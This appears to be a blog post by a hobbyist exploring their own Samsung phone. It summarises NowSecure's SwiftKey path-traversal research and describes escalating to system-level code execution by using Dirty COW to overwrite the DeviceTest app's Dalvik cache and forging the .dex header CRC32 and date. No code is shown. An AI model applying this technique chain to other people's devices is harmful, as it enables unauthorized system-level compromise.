I was trying all kinds of stuff to get the hidden code do my bidding but even though there was some promise, I just could not get the foot in the door to pry it wide open. I did more research and found...

Remote Code Execution as System User on Samsung Phones by NowSecure

https://www.nowsecure.com/blog/2017/06/16/remote-code-execution-as-system-user-on-samsung-phones/

It was a fun read. It turns out some versions of the preinstalled keyboard software got updates via ZIP files served via http (that can be MITM'd) which were then promptly extracted to the filesystem. The nasty thing is how ZIP files can contain relative paths which leads to path traversal which in turn means arbitrary writes.

But I hear you say, don't you already have dirtycow for that? Indeed I do - I don't need to abuse SwiftKey at all. But the author of the research paper was not done yet - they decided to attack the Dalvik cache and more specifically, the DeviceTest app which I was already looking into myself.

It's pure genius: we prepare a replacement Dalvik cache .odex for the com.sec.factory.entry.FactoryTestBroadcastReceiver class which can be triggered with an unprotected MEDIA_SCANNER_FINISHED broadcast and all the new Java code will execute in the system context!

Dirty cow is well up to the task of messing with the /data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex file and for a bonus it is not on a read-only partition which means no chance of file corruption. It can be easily reverted to the original, too.

The missing part of info which I was happy to learn was how to trick Android into thinking the new cached .dex was valid - because the OS will otherwise generate a new one upon reboot (during the "Optimizing apps" phase): one simply needs to copy the old CRC32 and date from the file header and inject it into the newly compiled .dex.

Source: https://github.com/nowsecure/samsung-ime-rce-poc/tree/master/dalvik_cache_generator

Now I had everything I need and it was time for some app development!